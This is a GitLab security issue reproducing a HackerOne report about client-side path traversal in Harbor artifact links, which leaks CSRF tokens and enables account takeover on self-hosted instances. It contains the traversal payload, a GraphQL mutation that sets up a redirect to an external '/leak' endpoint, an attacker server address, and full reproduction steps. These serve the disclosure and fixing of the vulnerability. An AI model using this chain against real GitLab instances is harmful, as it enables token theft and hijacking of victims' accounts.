Skip to content

CSPT in Harbor artifact links lead to CSRF token leakage and ATO on selfhosted instances

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2666341 by joaxcar on 2024-08-16, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

Its possible to leak a CSRF token through a Client side path traversal (CSPT) if the victim click a link generated by a spoofed Harbor server.

Given an API response like this

[
    {  
        "artifact_count": 1,  
        "creation_time": "2024-08-09T15:07:53.614Z",  
        "id": 5,  
        "name": "project1/..\\..\\..\\project2",  
        "project_id": 11,  
        "pull_count": 2,  
        "update_time": "2024-08-10T03:16:28.464Z"  
    }  
]

When visiting /-/harbor/repositories/ will result in a link that, when clicked will trigger this code snippet

export function getHarborArtifacts({ requestPath, repoName, limit, page, sort, search = '' }) {  
  const url = buildApiUrl(HARBOR_ARTIFACTS_PATH)  
    .replace('/:request_path', requestPath)  
    .replace(':repo_name', repoName);

  return axios.get(url, {  
    params: {  
      limit,  
      page,  
      search,  
      sort,  
    },  
  });  
}

And the GET request will end up three levels down in the URL due to the traversal. The repoName needs to be URL encoded.

As this request is made using axios it will contain a x-csrf-token header. This does not make much difference for requests on the Gitlab domain as GET requests are seldom state changing.

However, axios is using fetch and when fetch encounters a redirect it will also redirect any special headers to the new location. This can be abused using permanent release links .

Creating a release redirect and then pointing the GET request to that endpoint will leak the x-csrf-token to an external site (this is blocked on gitlab.com by the connect-src CSP but works on self hosted).

With the CSRF token the attacker server can then make any requests towards the gitlab

Steps to reproduce

Note that I am just spoofing some endpoints here, a real attack could just relay all other traffic to a proper Harbor server making everything else work as normal for the user

Simple version (this one will need you to use my server)

  1. Create a new group and a project in that group
  2. Go to https://gitlab.com/groups/GROUPNAME/-/settings/integrations/harbor/edit
  3. Add http://137.184.41.210 as the URL, add a name, username and a 8 letter password
  4. Now go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases and create a new release
  5. Fill in a new tag called test and anything as the title. Then click create
  6. Now go to https://gitlab.com/-/graphql-explorer and put this in the query area
mutation createReleaseAssetLink($input: ReleaseAssetLinkCreateInput!) {  
  releaseAssetLinkCreate(input: $input) {  
    errors  
    __typename  
  }  
}

put this in the variables area (replace GROUPNAME/PROJECTNAME)

{
  "input": {  
    "projectPath": "GROUPNAME/PROJECTNAME",  
    "tagName": "test",  
    "name": "x",  
    "url": "https://regal-childlike-caper.glitch.me/leak",  
    "linkType": "PACKAGE",  
    "directAssetPath": "/test"  
}
  1. Send the request, now you should be able to access your script through `https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases/test/downloads/test
  2. Go to https://regal-childlike-caper.glitch.me/start?target=GROUPNAME/PROJECTNAME?email=attacker@example.com replacing GROUPNAME/PROJECTNAME and email
  3. On the site click the link to gitlab
  4. On the gitlab page that opens up click the artifact link
  5. Wait about 3 seconds
  6. Go to https://gitlab.com/-/profile/emails and you should now have an attacker controlled email on your account (click remove to remove the email)

SAFE: self hosted
The code for the attacker page is here: https://glitch.com/edit/#!/regal-childlike-caper. Make a remix or copy it somewhere else to replicate it. But it does not do anything special just using the two parameters from step 12

To host the spoofed Harbor instance http://137.184.41.210 host this Python server somewhere server.py

Its possible to test the POC on gitlab.com if you use a rewrite rule that removes the CSP:

  1. ^Content\-Security\-Policy.*$ to empty string (regexp match) The first one will enable the UI on Gitlab.com and the second one will remove the CSP mimicking the defaults on self hosted servers

Video POC

Screen_Recording_2024-08-16_at_11.47.16.mov

Impact

Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.

Its a bit hard to asses this with CVSS, I understand if its put as C and I Low as with no CSP XSS.

If you alter the other parameters too much, it gets really low, and it's still an ATO on self-hosted instances, so I hope you can take that into consideration when assessing complexity and scope, for example.

It would, for example, be possible to abuse a compromised Harbor server without any prior access to the GitLab instance.

What is the current bug behavior?

Path traversal in the artifact links

What is the expected correct behavior?

Artifact links should not be able to have path traversals.

Impact

Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: